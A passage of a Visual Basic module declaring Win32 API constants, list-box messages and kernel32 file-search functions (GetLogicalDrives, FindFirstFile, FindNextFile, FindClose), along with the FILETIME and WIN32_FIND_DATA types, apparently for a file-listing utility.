' lParam: Specifies the amount of memory, in bytes, to allocate for
'         item strings.
' Return Value: The return value is the maximum number of items that
'               the memory object can store before another memory
'               reallocation is needed, if successful. It is
'               LB_ERRSPACE if not enough memory is available.

Public Const LB_INITSTORAGE = &H1A8

' An application sends an LB_ADDSTRING message to add a string to a
' list box. If the list box does not have the LBS_SORT style, the
' string is added to the end of the list. Otherwise, the string is
' inserted into the list and the list is sorted.

Public Const LB_ADDSTRING = &H180
Public Const WM_SETREDRAW = &HB
Public Const WM_VSCROLL = &H115
Public Const SB_BOTTOM = 7

' If the function succeeds, the return value is a bitmask
' representing the currently available disk drives. Bit
' position 0 (the least-significant bit) is drive A, bit position
' 1 is drive B, bit position 2 is drive C, and so on.
' If the function fails, the return value is zero.

Declare Function GetLogicalDrives Lib "kernel32" () As Long
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' If the function succeeds, the return value is a search handle
' used in a subsequent call to FindNextFile or FindClose

Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
                        (ByVal lpFileName As String, lpFindFileData As

 WIN32_FIND_DATA) As Long

'FindFirstFile failure rtn value

Public Const INVALID_HANDLE_VALUE = -1

' Rtns True (non zero) on succes, False on failure

Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
                        (ByVal hFindFile As Long, lpFindFileData As

WIN32_FIND_DATA) As Long

' Rtns True (non zero) on succes, False on failure

Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As
Long

Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type

Public Const MaxLFNPath = 260

Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MaxLFNPath
        cShortFileName As String * 14
End Type
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